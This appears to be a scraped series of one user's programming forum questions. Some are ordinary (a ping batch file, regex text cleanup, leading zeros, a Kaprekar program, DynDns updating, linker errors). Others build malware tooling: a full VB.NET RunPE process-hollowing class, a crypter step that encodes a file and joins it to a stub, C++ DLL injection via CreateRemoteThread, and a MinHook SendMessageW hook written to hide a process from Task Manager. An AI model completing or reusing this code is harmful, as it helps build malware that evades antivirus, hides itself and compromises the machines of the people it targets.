Hello, I'm trying to do a simple thing, what I need is to do an infinite ping to my router because many times I lose the connection with my router and that's how it goes a little better. I don't know much about bat but what I need is to put this command in a bat:
ping 192.168.1.1 -t
how could i do it? and excuse my ignorance.
I have quite a long text with data names etc. Let's say the data would be like this:
[espacios]Elnombre1[espacios](237)
[espacios]Elnombre3(237)
[espacios]Elnombre4(17)
I just need to get the names. Normally the names go with spaces before and after the name, and finally parentheses and inside a number.
Also, I need to add some text inside parentheses (any text will do).
Expected result:
nombremio123textoquepuse(losparentesis)
I tried with:
with open("e.txt", 'r+') as f:
texto = re.sub('^\s+([a-zA-Z-0-9]+)\s*', f.read())
f.seek(0)
f.write(texto)
f.truncate()
Any possible way to do it by reading a text file and rewriting it with the correct data?
The question is how can I use the following code:
Class MenaPE
'------------------------------
'Title: MenaPE (RunPE Class)
'Author: Menalix
'Website: Menalix.com
'Notice: For teaching purposes
'------------------------------
#Region "Static API Calls"
Declare Function LoadLibraryA Lib "kernel32" (ByVal Name As String) As IntPtr
Declare Function GetProcAddress Lib "kernel32" (ByVal hProcess As IntPtr, ByVal Name As String) As IntPtr
#End Region
#Region "Dynamic API Caller"
Private Function CreateApi(Of T)(ByVal Name As String, ByVal Method As String) As T
Return DirectCast(DirectCast(Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), GetType(T)), Object), T)
End Function
#End Region
#Region "Dynamic API's"
Private Delegate Function ReadProcessMemoryParameters(ByVal hProcess As UInteger, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As Integer, ByVal nSize As IntPtr, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
ReadOnly ReadProcessMemory As ReadProcessMemoryParameters = CreateApi(Of ReadProcessMemoryParameters)("kernel32", "ReadProcessMemory")
Private Delegate Function CreateProcessParameters( _
ByVal ApplicationName As String, _
ByVal CommandLine As String, _
ByVal ProcessAttributes As IntPtr, _
ByVal ThreadAttributes As IntPtr, _
ByVal InheritHandles As Boolean, _
ByVal CreationFlags As UInteger, _
ByVal Environment As IntPtr, _
ByVal CurrentDirectory As String, _
ByRef StartupInfo As STARTUPINFO, _
ByRef ProcessInformation As PROCESS_INFORMATION) As Boolean
Dim CreateProcess As CreateProcessParameters = CreateApi(Of CreateProcessParameters)("kernel32", "CreateProcessA")
Private Delegate Function NtQueryInformationProcessParameters(ByVal hProcess As IntPtr, _
ByVal ProcessInformationClass As Integer, _
ByRef ProcessInformation As PROCESS_BASIC_INFORMATION, _
ByVal ProcessInformationLength As UInteger, _
ByRef ReturnLength As UIntPtr) As UInteger
ReadOnly NtQueryInformationProcess As NtQueryInformationProcessParameters = CreateApi(Of NtQueryInformationProcessParameters)("ntdll", "NtQueryInformationProcess")
Private Delegate Function GetThreadContext64Parameters( _
ByVal hThread As IntPtr, _
ByRef lpContext As CONTEXT32) As Boolean
Dim GetThreadContext64 As GetThreadContext64Parameters = Nothing
Private Delegate Function IsWow64ProcessParameters( _
ByVal hProcess As IntPtr, _
ByRef Wow64Process As Boolean) As Boolean
ReadOnly IsWow64Process As IsWow64ProcessParameters = CreateApi(Of IsWow64ProcessParameters)("kernel32", "IsWow64Process")
Private Delegate Function WriteProcessMemoryParameters( _
ByVal hProcess As IntPtr, _
ByVal lpBaseAddress As IntPtr, _
ByVal lpBuffer As Byte(), _
ByVal nSize As UInteger, _
ByRef lpNumberOfBytesWritten As UInteger) As Boolean
ReadOnly WriteProcessMemory As WriteProcessMemoryParameters = CreateApi(Of WriteProcessMemoryParameters)("kernel32", "WriteProcessMemory")
Private Delegate Function NtUnmapViewOfSectionParameters( _
ByVal hProcess As IntPtr, _
ByVal pBaseAddress As IntPtr) As UInteger
ReadOnly NtUnmapViewOfSection As NtUnmapViewOfSectionParameters = CreateApi(Of NtUnmapViewOfSectionParameters)("ntdll", "NtUnmapViewOfSection")
Private Delegate Function VirtualAllocExParameters( _
ByVal hProcess As IntPtr, _
ByVal lpAddress As IntPtr, _
ByVal dwSize As UInteger, _
ByVal flAllocationType As UInteger, _
ByVal flProtect As UInteger) As IntPtr
ReadOnly VirtualAllocEx As VirtualAllocExParameters = CreateApi(Of VirtualAllocExParameters)("kernel32", "VirtualAllocEx")
Private Delegate Function ResumeThreadParameters( _
ByVal hThread As IntPtr) As UInteger
ReadOnly ResumeThread As ResumeThreadParameters = CreateApi(Of ResumeThreadParameters)("kernel32", "ResumeThread")
#End Region
#Region "API Structures"
Private Structure PROCESS_INFORMATION
Public hProcess As IntPtr
Public hThread As IntPtr
Public dwProcessId As UInteger
Public dwThreadId As UInteger
End Structure
Private Structure STARTUPINFO
Public cb As UInteger
Public lpReserved As String
Public lpDesktop As String
Public lpTitle As String
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=36)> _
Public Misc As Byte()
Public lpReserved2 As Byte
Public hStdInput As IntPtr
Public hStdOutput As IntPtr
Public hStdError As IntPtr
End Structure
Structure FLOATING_SAVE_AREA
Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
<System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
Dim State As UInteger
End Structure
Structure CONTEXT32
Dim ContextFlags, Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 As UInteger
Dim FloatSave As FLOATING_SAVE_AREA
Dim SegGs, SegFs, SegEs, SegDs, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SegCs, EFlags, Esp, SegSs As UInteger
<System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=512)> Dim ExtendedRegisters As Byte()
End Structure
Structure PROCESS_BASIC_INFORMATION
Public ExitStatus As IntPtr
Public PebBaseAddress As IntPtr
Public AffinityMask As IntPtr
Public BasePriority As IntPtr
Public UniqueProcessID As IntPtr
Public InheritedFromUniqueProcessId As IntPtr
End Structure
#End Region
#Region "Injection"
Public Function Run(ByVal path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
For I As Integer = 1 To 5
If HandleRun(path, payload, creationflag) Then Return True
Next
Return False
End Function
Private Function HandleRun(ByVal Path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
Dim ReadWrite As Integer = Nothing
Dim QuotedPath As String = String.Format("""{0}""", Path)
Dim SI As New STARTUPINFO
Dim PI As New PROCESS_INFORMATION
SI.cb = CUInt(Runtime.InteropServices.Marshal.SizeOf(GetType(STARTUPINFO))) 'Parses the size of the structure to the structure, so it retrieves the right size of data
Try
'COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
If Not CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, True, creationflag, IntPtr.Zero, IO.Directory.GetCurrentDirectory, SI, PI) Then Throw New Exception()
'COMMENT: Defines some variables we need in the next process
Dim ProccessInfo As New PROCESS_BASIC_INFORMATION
Dim RetLength As UInteger
Dim Context = Nothing
Dim PEBAddress32 As Integer = Nothing
Dim PEBAddress64 As Int64 = Nothing
Dim TargetIs64 As Boolean = Nothing
Dim IsWow64Proc As Boolean = False
IsWow64Process(PI.hProcess, IsWow64Proc) 'COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
If IsWow64Proc Or IntPtr.Size = 4 Then 'COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
Context = New CONTEXT32
Context.ContextFlags = &H1000002L 'COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
If IsWow64Proc AndAlso IntPtr.Size = 8 Then 'COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
GetThreadContext64 = CreateApi(Of GetThreadContext64Parameters)("kernel32", "Wow64GetThreadContext") 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
If Not GetThreadContext64(PI.hThread, Context) Then Throw New Exception
Console.WriteLine(Context.Ebx)
PEBAddress32 = Context.Ebx
TargetIs64 = False
Else 'COMMENT: If our process is 32bit and the target process is 32bit we get here.
NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
PEBAddress32 = ProccessInfo.PebBaseAddress
TargetIs64 = False
End If
Else 'COMMENT: If our process is 64bit and the target process is 64bit we get here.
NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
PEBAddress64 = ProccessInfo.PebBaseAddress
TargetIs64 = True
End If
Dim BaseAddress As IntPtr
If TargetIs64 = True Then
ReadProcessMemory(PI.hProcess, PEBAddress64 + &H10, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
Else
ReadProcessMemory(PI.hProcess, PEBAddress32 + &H8, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
End If
Dim PayloadIs64 As Boolean = False
Dim dwPEHeaderAddress As Integer = BitConverter.ToInt32(payload, &H3C) 'COMMENT: Gets the PEHeader start address
Dim dwNetDirFlags As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H398) 'COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
Dim wMachine As Integer = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H4) 'COMMENT: Gets the reads the Machine value
If wMachine = 8664 Then : PayloadIs64 = True 'Checks the Machine value to know if payload is 64bit or not"
Else : PayloadIs64 = False : End If
If PayloadIs64 = False Then
If dwNetDirFlags = &H3 Then 'To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
Buffer.SetByte(payload, dwPEHeaderAddress + &H398, &H1) 'Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
End If
End If
Dim dwImageBase As Integer
If PayloadIs64 = True Then
dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H30) 'Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
Else
dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H34) 'Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
End If
If dwImageBase = BaseAddress Then 'COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
If Not NtUnmapViewOfSection(PI.hProcess, BaseAddress) = 0 Then Throw New Exception() 'COMMENT: Unmapping it
End If
Dim dwSizeOfImage As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H50)
Dim dwNewImageBase As Integer = VirtualAllocEx(PI.hProcess, dwImageBase, dwSizeOfImage, &H3000, &H40) 'COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
If dwNewImageBase = 0 Then Throw New Exception()
Dim dwSizeOfHeaders As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H54)
If Not WriteProcessMemory(PI.hProcess, dwNewImageBase, payload, dwSizeOfHeaders, ReadWrite) Then Throw New Exception() 'Writes the size of the payloads PE header to the target
'COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
Dim SizeOfOptionalHeader As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H14)
Dim SectionOffset As Integer = dwPEHeaderAddress + (&H16 + SizeOfOptionalHeader + &H2)
Dim NumberOfSections As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H6)
For I As Integer = 0 To NumberOfSections - 1
Dim VirtualAddress As Integer = BitConverter.ToInt32(payload, SectionOffset + &HC)
Dim SizeOfRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H10)
Dim PointerToRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H14)
If Not SizeOfRawData = 0 Then
Dim SectionData(SizeOfRawData - 1) As Byte
Buffer.BlockCopy(payload, PointerToRawData, SectionData, 0, SectionData.Length)
If Not WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionData, SectionData.Length, ReadWrite) Then Throw New Exception()
End If
SectionOffset += &H28
Next
Dim PointerData As Byte() = BitConverter.GetBytes(dwNewImageBase)
If TargetIs64 = True Then
If Not WriteProcessMemory(PI.hProcess, PEBAddress64 + &H10, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new etrypoint for 64bit target
Else
If Not WriteProcessMemory(PI.hProcess, PEBAddress32 + &H8, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new entrypoint for 32bit target
End If
If ResumeThread(PI.hThread) = -1 Then Throw New Exception() 'Resumes the suspended target with all its new exciting data
Catch ex As Exception
Dim P As Process = Process.GetProcessById(CInt(PI.dwProcessId))
If P IsNot Nothing Then P.Kill()
Return False
End Try
Return True
End Function
#End Region
End Class
What would I have to put to use it in a library or dll, or do I just have to put the class, generate the dll and make the call to my class? Thank you?
I tried this way but it didn't work:
My question is simply how I could join two byte arrays together and delimit them. In the following example I join them and write them as a single file. But, first I don't know how I could join them with a delimiter, a comma or something to separate them so that when my program starts it will be able to get them through a split. The code is the following:
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);
//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);
Console.WriteLine("[*] Save to Output File... ");
//Leer el fichero
Console.WriteLine("[*] Reading fichero...");
byte[] Stub = File.ReadAllBytes("rutafichero");
// ::: Create new List of bytes
var list = new List<byte>();
list.AddRange(encodedBytes);
list.AddRange(Stub);
// ::: Call ToArray to convert List to array
byte[] resultado = list.ToArray();
//write bytes
File.WriteAllBytes(outFile, resultado);
//File.WriteAllBytes(outFile, encodedBytes);
Console.WriteLine("Done!");
Console.WriteLine("\n[*] File successfully encoded!");
Then my first byte array (file 1) will be + joined with the other byte array (file 2) and written to a single file. When I boot the resulting file I will be able to get the two arrays via a split. That is the objective that I wanted to carry out and that unfortunately I did not know how because firstly I do not know delimitar dos byte array combinadosand secondly how to extract them later. The goal was to do it with an assembly.
My question is very brief, it is how I could convert a letter to uppercase of a character, in my case a char can be converted to lowercase. Ex:
char key[16];
key = "A"
How could I do the conversion so that my char was lowercase. I have tried using tolower but it has to be an integer, ex:
key = tolower(*key);
In my case it returns the following error:
incompatible types in assignment of 'int' to 'char [16]'|
I am modifying a small one which works only by console and requires console arguments. But now I wanted to pass it to winmain(form) and get those arguments using GetCommandLineand use them in a WinMainjust like I did in console. The program is as follows:
#include "stdafx.h"
int wmain(int argc, wchar_t* argv[]) {
assert(argc > 1);
// build command line
wchar_t commandLine[MAX_PATH * 2];
::lstrcpyW(commandLine, argv[1]);
if (argc > 2) {
::lstrcatW(commandLine, L" ");
::lstrcatW(commandLine, argv[2]);
}
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
// create the actual process with the debug flag to avoid an infinite loop
BOOL bCreated = ::CreateProcessW(nullptr, commandLine, nullptr, nullptr, FALSE, DEBUG_PROCESS, nullptr, nullptr, &si, &pi);
if (bCreated) {
WCHAR path[MAX_PATH];
::GetModuleFileName(nullptr, path, MAX_PATH);
*::wcsrchr(path, L'\\') = L'\0';
::wcscat_s(path, MAX_PATH, L"\\dllmain.Dll");
// create a semaphore which count represents the main thread ID
HANDLE hSemaphore = ::CreateSemaphore(nullptr, pi.dwThreadId - 1, pi.dwThreadId, L"InjectedMainThread");
assert(hSemaphore);
// duplicate in the injected process so the semaphore survives after the injected process goes away
HANDLE hTarget = nullptr;
::DuplicateHandle(::GetCurrentProcess(), hSemaphore, pi.hProcess, &hTarget, 0, FALSE, DUPLICATE_SAME_ACCESS);
assert(hTarget);
// allocate buffer for the DLL path name
void* pPathBuffer = ::VirtualAllocEx(pi.hProcess, nullptr, MAX_PATH * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
assert(pPathBuffer);
// write the path
SIZE_T written;
::WriteProcessMemory(pi.hProcess, pPathBuffer, path, MAX_PATH * sizeof(WCHAR), &written);
// create a remote thread to load the DLL
HANDLE hRemoteThread = ::CreateRemoteThread(pi.hProcess, nullptr, 0,
(PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(L"kernel32"), "LoadLibraryW"),
pPathBuffer, 0, nullptr);
// allow the process to continue after this one exits
::DebugSetProcessKillOnExit(FALSE);
// close handles (not really needed as we're existing)
::CloseHandle(hRemoteThread);
::CloseHandle(pi.hProcess);
::CloseHandle(pi.hThread);
::CloseHandle(hSemaphore);
}
return 0;
}
I ask because I need help from an expert since I can do the modification but I am not sure if this program will work correctly.
In this case, two arguments will be passed and I don't really understand why the assert works since it is supposed that if it is not greater than one (the number of arguments) the program will abort.
I convert it to winmain:
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdParam,
int nCmdShow)
{
//int wmain(int argc, wchar_t* argv[]) {
assert(argc > 1);
// build command line
wchar_t commandLine[MAX_PATH * 2];
::lstrcpyW(commandLine, argv[1]);
if (argc > 2) {
::lstrcatW(commandLine, L" ");
::lstrcatW(commandLine, argv[2]);
}
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
// create the actual process with the debug flag to avoid an infinite loop
BOOL bCreated = ::CreateProcessW(nullptr, commandLine, nullptr, nullptr, FALSE, DEBUG_PROCESS, nullptr, nullptr, &si, &pi);
if (bCreated) {
WCHAR path[MAX_PATH];
::GetModuleFileName(nullptr, path, MAX_PATH);
*::wcsrchr(path, L'\\') = L'\0';
::wcscat_s(path, MAX_PATH, L"\\Injected.Dll");
// create a semaphore which count represents the main thread ID
HANDLE hSemaphore = ::CreateSemaphore(nullptr, pi.dwThreadId - 1, pi.dwThreadId, L"InjectedMainThread");
assert(hSemaphore);
// duplicate in the injected process so the semaphore survives after the injected process goes away
HANDLE hTarget = nullptr;
::DuplicateHandle(::GetCurrentProcess(), hSemaphore, pi.hProcess, &hTarget, 0, FALSE, DUPLICATE_SAME_ACCESS);
assert(hTarget);
// allocate buffer for the DLL path name
void* pPathBuffer = ::VirtualAllocEx(pi.hProcess, nullptr, MAX_PATH * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
assert(pPathBuffer);
// write the path
SIZE_T written;
::WriteProcessMemory(pi.hProcess, pPathBuffer, path, MAX_PATH * sizeof(WCHAR), &written);
// create a remote thread to load the DLL
HANDLE hRemoteThread = ::CreateRemoteThread(pi.hProcess, nullptr, 0,
(PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(L"kernel32"), "LoadLibraryW"),
pPathBuffer, 0, nullptr);
// allow the process to continue after this one exits
::DebugSetProcessKillOnExit(FALSE);
// close handles (not really needed as we're existing)
//::CloseHandle(hRemoteThread);
//::CloseHandle(pi.hProcess);
//::CloseHandle(pi.hThread);
//::CloseHandle(hSemaphore);
}
return 0;
}
But it returns me the following errors, obviously because of the arguments that I gave them, I have to read them... using getcommandline from lpszCmdParam, but I don't know very well how, errors:
C2065: 'argc': undeclared identifier
C2065: 'argv': undeclared identifier
C2660: 'lstrcpyW': function does not take 1 arguments
C2065: 'argc': undeclared identifier
C2065: 'argv': undeclared identifier
C2660: 'lstrcatW': function does not take 1 arguments
I'm doing an example with api hooking since I'm writing an article about it input I find the following errors:
Dynamic.cpp:8:30: error: 'typedef void (* SendMessageW)()' redeclared as differe nt kind of symbol
typedef void (*SendMessageW)();//Typedef for the hooked function
^
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:72:0,
from C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\ include\MinHook.h:35,
from Dynamic.cpp:1:
C:/msys32/mingw32/i686-w64-mingw32/include/winuser.h:1981:29: note: previous dec laration 'LRESULT SendMessageW(HWND, UINT, WPARAM, LPARAM)'
WINUSERAPI LRESULT WINAPI SendMessageW(HWND hWnd,UINT Msg,WPARAM wParam,LPARA M lParam);
^~~~~~~~~~~~
Dynamic.cpp:9:8: error: 'SendMessageW' does not name a type
static SendMessageW Basewritefoobar;//Backup of the originak fonction
^~~~~~~~~~~~
Dynamic.cpp:13:16: warning: 'LRESULT SendMessageW(HWND, UINT, WPARAM, LPARAM)' r edeclared without dllimport attribute: previous dllimport ignored [-Wattributes]
LRESULT WINAPI SendMessageW(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
^~~~~~~~~~~~
Dynamic.cpp: In function 'bool Hook()':
Dynamic.cpp:64:73: error: 'Basewritefoobar' was not declared in this scope
if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewri tefoobar) != MH_OK)
^~~~~~~ ~~~~~~~~
The code of my program:
#include "C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h"//MHook header
#include <iostream>
#include <windows.h>
#include <Commctrl.h>
#include <conio.h>//For getch
using namespace std;
typedef void (*SendMessageW)();//Typedef for the hooked function
static SendMessageW Basewritefoobar;//Backup of the originak fonction
LRESULT WINAPI SendMessageW(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
static const wchar_t *hiddenprocess=L"tusitio";
LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
{
if (!lstrcmpW(((LVITEMW*)lparam)->pszText, hiddenprocess))//The lparam is a LVITEM* struct.
{
return 0;//If the item name is the same as process we want to hide, we simply return 0 (and we do not call the real SendMessage function.
}
return 0;
}
return SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
}
//void Writefoobar();//Original function
//void Hookedwritefoobar();//Original function's redirection
static bool Hook();
template <typename T>
inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
{
return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
}
int main()
{
if (!Hook())//Hook "Writefoobar"
{
cout << "Hook failed" << endl;
return 1;
}
//Writefoobar();//Standard call to Writefoobar, but instead, Hookedwritefoobar will be executed
cout << "Press a key to exit" << endl;
_getch();
return 0;
}
bool Hook()
{
if (MH_Initialize() != MH_OK)
{
return false;
}
if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
{
return FALSE;
}
return MH_EnableHook((void*)&SendMessageW) == MH_OK;
}
I am using api hooking and the minhook library. Reference: Minhook Library
And if the purposes are purely ethical, write an article about it related to security.
Hi, the command is as follows:
gcc -o main.dll dllmain.o -L/c/Users/Androide/Desktop/colo/pupa/dllmain/ -lSDL -lSDLmain -lmingw32
I get the error when compiling my project, the error is as follows:
> $ gcc -o main.dll dllmain.o
> -L/c/Users/Androide/Desktop/colo/pupa/dllmain/ -lSDL -lSDLmain -lmingw32 C:/msys32/mingw32/bin/../lib/gcc/i686-w64-mingw32/6.3.0/../../../../i686-w64-mingw32/lib/../lib/libmingw32.a(lib32_libmingw32_a-crt0_c.o):
> In function `main':
> C:/repo/mingw-w64-crt-git/src/mingw-w64/mingw-w64-crt/crt/crt0_c.c:18:
> undefined reference to `WinMain@16' collect2.exe: error: ld returned 1
> exit status
A screenshot of how I did it:
And the code of my dll that I am compiling:
#include "stdafx.h"
#include <SDL/SDL.h>
#include <windows.h>
extern "C" __declspec (dllexport) void __cdecl HelloWorld()
{
//Show a message box with the text "Hello World"
MessageBox(NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//Different behaviors depending on the reason why DllMain is called
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
HelloWorld();
break;
case DLL_PROCESS_DETACH:
HelloWorld();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
It seems that linking to -LSDL could solve it but it didn't work for me.
I am checking a small program to update my IP in DynDns.
What I do is the following:
#!/usr/bin/python
import requests
import json
user = "email"
password = "pass"
checkip = "http://thisisnt.com/api/getRemoteIp.php"
dynupdate = "https://members.dyndns.com/nic/update"
print "starting. Get current IP..."
ipraw = requests.get(checkip)
if ipraw.status_code is not 200:
raise "Cannot get IP address"
exit
ip = ipraw.json()['REMOTE_ADDR']
print "Remote IP: " + ip
print "updating..."
# update dyndns
headers = {'user-agent': 'mPythonClient/0.0.3'}
dyn = requests.get(dynupdate, \
headers=headers, \
auth=(user, password), \
params={'hostname': 'xjhdshsdhagsafhg.ddns.net', \
'myip': ip, \
'wildcard': 'NOCHG', \
'mx': 'MX', \
})
if dyn.status_code is not 200:
print "Update failed. HTTP Code: " + str(dyn.status_code)
if "good" in dyn.text:
print "update successful.."
else:
print "Update unsuccessful: " + dyn.text.strip()
I think I have put the data and parameters correctly, but the problem is that when I run it the update is not successful:
My question is: how could I get it to return my correctly updated IP? It always stays at:
print "Update unsuccessful: " + dyn.text.strip()
And what I would like to do is update it with the new IP and print it:
print "update successful.." + ip
Hello, I have a 4-digit integer which sometimes, for example, will be envede, sometimes it will have zeros to its left, but the problem is that I don't know how to show the zeros to the left, suppose I have the following integer:
0382
How could I do to show it with a cout or a printf the zeros on its left since my number for example will be four characters. Or sometimes it will have more zero as I will be able to show the leading zeros. In my attempt I will make a cout:
int i;
i=0382;
cout << i;
But it will show me as 382 how could I do to show these zeros?
Hello, I have put a cin inside a for so that it asks me for information but when I do it, it does it all at once. Example:
When should I order one by one? Part of the code:
int entradas,t;
cout << "Introduce el numero de entradas:";
cin >>entradas;
int ar[entradas];
for(t=0;t<entradas;t++)
cout << "Introduce un numero: ";
cin >> numero;
Does anyone know why it makes those jumps I can't enter several numbers??
Hello, I am making a program that takes a number, subtracts it until I get the kaprekar constant, everything is very good, I have done it from scratch and it works very well, but I do not understand why sometimes when I put certain numbers, it hangs like the number, for example 8456. Here I show how it hangs:
The issue is that I'm using global variables because I can't return three values from a function that would be mayor1, menor1and finwhich would be the new value of the subtraction and that's why I think the problem arises. For example if I put another lower number eg. 1234solves it for me:
Here is the code made from scratch by me so it won't be very efficient but I'm learning, here it is:
#include <iostream>
#include <sstream>
using namespace std;
int num1,z,l,peque,grande;
int numero,division,resto,i,a,j;
int arr[4];
int mayor[4];
int menor[4];
int mayor1;
int fin = 0;
int menor1;
int contador = 0;
int prueba(int num){
division = num;
resto = num;
for(i=0;i<=3;i++){
resto = division%10;
if(i==3){
arr[i] = division;
}else{
arr[i] = resto;
}
division/=10;
}
int o,mini,maxi,u;
mini=arr[0];
maxi=mini;
for(o=1;o<4;o++)
{
if (arr[o]<mini) mini=arr[o];
if (arr[o]>maxi) maxi=arr[o];
}
peque = 0;
for(z=0;z<4;z++){
num1=arr[z];
if(arr[z] != mini || arr[z] != maxi){
for(l=0;l<4;l++){
if(arr[l]<num1 && arr[l] != maxi && arr[l] != mini){
peque=arr[l];
}else if(arr[l]>peque && arr[l] != maxi && arr[l] != mini){
grande = arr[l];
}
}
}
}
mayor [0] = maxi;
mayor [1] = grande;
mayor [2] = peque;
mayor [3] = mini;
menor [0] = mini;
menor [1] = peque;
menor [2] = grande;
menor [3] = maxi;
stringstream ss;
ss<<menor[0]; //this can be run as a loop
ss<<menor[1];
ss<<menor[2];
ss<<menor[3];
ss>>menor1;
stringstream s;
s<<mayor[0]; //this can be run as a loop
s<<mayor[1];
s<<mayor[2];
s<<mayor[3];
s>>mayor1;
fin = mayor1 - menor1;
return fin;
}
int main(){
/* Declaramos el array y le damos valores */
cout << "Introduce un numero: ";
cin >> numero;
fin = numero;
while(fin!=6174){
fin=prueba(fin);
cout << fin << " = " << mayor1 << " - " << menor1;
cout << "\n";
contador++;
}
cout << "Numero de intentos: " << contador;
return 0;
}
The problem getting the middle numbers.
for(z=0;z<4;z++){
num1=arr[z];
if(arr[z] != mini || arr[z] != maxi){
for(l=0;l<4;l++){
if(arr[l]<num1 && arr[l] != maxi && arr[l] != mini){
peque=arr[l];
cout << peque;
}else if(arr[l]>num1 && arr[l] != maxi && arr[l] != mini){
grande = arr[l];
cout << grande;
}
}
}
The only way that occurred to me is to make a loop and then take and check it with everyone if it is not minimum or maximum and knowing if it is greater or less, then I take out the small or large, but so far I have not been able to optimize it correctly.
I am using glooxand to make my extension the communication will be encrypted for what I need openssl, when compiling I get the following error:
||=== Build: Debug in main (compiler: GNU GCC Compiler) ===|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `FreeCredentialsHandle@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `DeleteSecurityContext@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `FreeCredentialsHandle@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `DeleteSecurityContext@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `AcquireCredentialsHandleW@36'|
